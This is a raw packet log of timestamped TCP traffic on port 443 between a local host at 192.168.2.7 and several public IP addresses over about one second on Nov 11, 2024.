Nov 11, 2024 19:17:51.526413918 CET	443	49830	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.526634932 CET	49830	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.526647091 CET	443	49830	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.527136087 CET	443	49829	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.527878046 CET	443	49830	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.528126955 CET	49829	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.528131008 CET	49830	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.528151989 CET	443	49829	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.528248072 CET	443	49831	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.528703928 CET	49831	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.528717995 CET	443	49831	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.529238939 CET	443	49829	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.529279947 CET	49830	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.529350042 CET	443	49830	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.529375076 CET	49829	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.530018091 CET	443	49831	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.530055046 CET	49830	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.530064106 CET	443	49830	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.530154943 CET	49831	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.530678034 CET	49829	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.530745029 CET	443	49829	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.531217098 CET	49829	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.531229973 CET	443	49829	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.531661034 CET	49831	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.531749964 CET	443	49831	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.531999111 CET	49831	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.532243013 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.532461882 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.532474041 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.533032894 CET	49842	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.533066988 CET	443	49842	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.533229113 CET	49842	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.534184933 CET	49842	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:51.534195900 CET	443	49842	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.559334040 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:51.579330921 CET	443	49831	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.598542929 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.598582983 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.598615885 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.598654032 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.599082947 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.599103928 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.601341963 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.601433039 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.601568937 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.601599932 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.601632118 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.601675987 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.601713896 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.601722956 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.602474928 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.605000973 CET	49831	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.605029106 CET	443	49831	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.607047081 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.608222961 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.608405113 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.608416080 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.613548040 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.613672018 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.613678932 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.617952108 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.618025064 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.618031979 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.626055956 CET	443	49831	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.626149893 CET	49831	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.626393080 CET	49831	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.626411915 CET	443	49831	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.627830982 CET	443	49830	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.627979040 CET	49830	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.628226995 CET	49830	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.628243923 CET	443	49830	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.630963087 CET	443	49829	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.631078959 CET	49829	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.631345987 CET	49829	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.631354094 CET	443	49829	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.665612936 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.665668964 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.665705919 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.665716887 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.667476892 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.680021048 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.680182934 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.680223942 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.680268049 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.680308104 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.680310965 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.680325985 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.680406094 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.680438995 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.680459976 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.680469990 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.680505037 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.682100058 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:51.682184935 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:51.682692051 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.682724953 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.682763100 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.682775974 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:51.682787895 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.682795048 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.682822943 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.683351994 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.683383942 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.683417082 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.683424950 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.683803082 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.683829069 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.683836937 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.683881044 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.684151888 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.684161901 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.684452057 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.684597015 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.687968016 CET	49805	443	192.168.2.7	18.244.18.38
Nov 11, 2024 19:17:51.687988043 CET	443	49805	18.244.18.38	192.168.2.7
Nov 11, 2024 19:17:51.688154936 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.688507080 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.688515902 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.689373970 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.689414978 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.689585924 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.689593077 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.690424919 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.692125082 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.695513010 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.695557117 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.695732117 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.695740938 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.696125031 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.698724985 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.701859951 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.701900005 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.702263117 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.702277899 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.702461004 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.705183983 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.708877087 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.709109068 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.709120035 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.746757030 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.746798992 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.746833086 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.746861935 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.746880054 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.746907949 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.761884928 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.761926889 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.761972904 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.762008905 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.762032032 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.762032986 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.762047052 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.762099981 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.762130976 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.762140036 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.762327909 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.762736082 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.762798071 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.762901068 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.762909889 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.763276100 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.763308048 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.763426065 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.763811111 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.763818979 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.764084101 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.764868975 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.764898062 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.764905930 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765081882 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765117884 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.765125990 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765161991 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765187979 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.765196085 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765249014 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765256882 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.765264034 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765343904 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.765405893 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765710115 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765746117 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765774965 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765780926 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.765786886 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.765875101 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.766227007 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.766557932 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.766601086 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.766608953 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.767530918 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.768102884 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.768174887 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.769211054 CET	443	49821	142.250.185.225	192.168.2.7
Nov 11, 2024 19:17:51.769299984 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.769316912 CET	49821	443	192.168.2.7	142.250.185.225
Nov 11, 2024 19:17:51.859451056 CET	443	49832	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.860436916 CET	49832	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.868897915 CET	49843	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.868947983 CET	443	49843	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.869188070 CET	49844	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.869225025 CET	443	49844	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.869247913 CET	49843	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.869358063 CET	49844	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.869729996 CET	49844	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.869730949 CET	49843	443	192.168.2.7	172.64.41.3
Nov 11, 2024 19:17:51.869743109 CET	443	49844	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.869759083 CET	443	49843	172.64.41.3	192.168.2.7
Nov 11, 2024 19:17:51.958865881 CET	49832	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:51.958885908 CET	443	49832	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.959240913 CET	443	49832	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:51.969804049 CET	443	49835	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:51.997198105 CET	49845	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.997232914 CET	443	49845	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.997443914 CET	49845	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.997447014 CET	49846	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.997495890 CET	443	49846	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.997654915 CET	49846	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.997831106 CET	49846	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.997836113 CET	49845	443	192.168.2.7	162.159.61.3
Nov 11, 2024 19:17:51.997845888 CET	443	49846	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:51.997853994 CET	443	49845	162.159.61.3	192.168.2.7
Nov 11, 2024 19:17:52.008315086 CET	49832	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:52.008356094 CET	49832	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:52.008418083 CET	443	49832	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:52.033885956 CET	443	49838	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.034337997 CET	443	49840	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.040082932 CET	443	49839	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.044909954 CET	49835	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.044934034 CET	443	49835	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.046849012 CET	49835	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.046855927 CET	443	49835	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.054645061 CET	443	49842	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.056288004 CET	49842	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.056288004 CET	49842	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.056303978 CET	443	49842	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.056319952 CET	443	49842	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.060162067 CET	49838	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.060184002 CET	443	49838	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.060743093 CET	49840	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.060751915 CET	49838	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.060760021 CET	443	49838	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.060762882 CET	443	49840	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.061172962 CET	49840	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.061178923 CET	443	49840	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.079873085 CET	49839	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.079907894 CET	443	49839	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.080444098 CET	49839	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.080451012 CET	443	49839	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.100733042 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:52.127537966 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:52.127557039 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:52.129781961 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:52.129787922 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:52.129913092 CET	49834	443	192.168.2.7	20.190.160.14
Nov 11, 2024 19:17:52.129924059 CET	443	49834	20.190.160.14	192.168.2.7
Nov 11, 2024 19:17:52.137104988 CET	443	49835	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.137175083 CET	443	49835	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.137909889 CET	49835	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.159252882 CET	49835	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.159284115 CET	443	49835	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.159311056 CET	49835	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.159327030 CET	443	49835	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.175158978 CET	49847	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.175192118 CET	443	49847	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.175586939 CET	49847	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.182771921 CET	443	49842	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.182847023 CET	443	49842	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.182944059 CET	49842	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.184416056 CET	443	49840	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.184488058 CET	443	49840	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.184758902 CET	49840	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.186459064 CET	443	49839	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.186531067 CET	443	49839	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.186717987 CET	49839	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.193737984 CET	49847	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.193746090 CET	443	49847	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.193952084 CET	49842	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.193952084 CET	49842	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.193979025 CET	443	49842	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.193984985 CET	443	49842	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.195281982 CET	49840	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.195281982 CET	49840	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.195295095 CET	443	49840	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.195302963 CET	443	49840	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.198880911 CET	49839	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.198901892 CET	443	49839	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.198920965 CET	49839	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.198926926 CET	443	49839	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.211210966 CET	49848	443	192.168.2.7	108.139.47.108
Nov 11, 2024 19:17:52.211231947 CET	443	49848	108.139.47.108	192.168.2.7
Nov 11, 2024 19:17:52.211975098 CET	49849	443	192.168.2.7	20.110.205.119
Nov 11, 2024 19:17:52.212012053 CET	443	49849	20.110.205.119	192.168.2.7
Nov 11, 2024 19:17:52.212042093 CET	49848	443	192.168.2.7	108.139.47.108
Nov 11, 2024 19:17:52.212424994 CET	49849	443	192.168.2.7	20.110.205.119
Nov 11, 2024 19:17:52.212625027 CET	49850	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.212637901 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.212704897 CET	49850	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.212867975 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.212869883 CET	49852	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.212876081 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.212902069 CET	443	49852	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.212971926 CET	49852	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.212971926 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.213093996 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.213129044 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.213222027 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.213228941 CET	49854	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.213237047 CET	443	49854	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.213291883 CET	49854	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.213548899 CET	49848	443	192.168.2.7	108.139.47.108
Nov 11, 2024 19:17:52.213550091 CET	49849	443	192.168.2.7	20.110.205.119
Nov 11, 2024 19:17:52.213566065 CET	443	49849	20.110.205.119	192.168.2.7
Nov 11, 2024 19:17:52.213572979 CET	443	49848	108.139.47.108	192.168.2.7
Nov 11, 2024 19:17:52.213967085 CET	49851	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.213974953 CET	49850	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.213980913 CET	443	49851	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.213985920 CET	443	49850	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.214121103 CET	49852	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.214131117 CET	443	49852	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.214148045 CET	49853	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.214169025 CET	443	49853	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.214322090 CET	49854	443	192.168.2.7	104.117.182.72
Nov 11, 2024 19:17:52.214330912 CET	443	49854	104.117.182.72	192.168.2.7
Nov 11, 2024 19:17:52.246541977 CET	49855	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.246579885 CET	443	49855	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.246777058 CET	49855	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.248469114 CET	49856	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.248476982 CET	443	49856	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.248652935 CET	49856	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.250514030 CET	49857	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.250576019 CET	443	49857	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.251132011 CET	49857	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.253716946 CET	49855	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.253731012 CET	443	49855	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.254287958 CET	49856	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.254290104 CET	49857	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:52.254301071 CET	443	49856	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.254308939 CET	443	49857	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:52.257438898 CET	49858	443	192.168.2.7	23.219.161.135
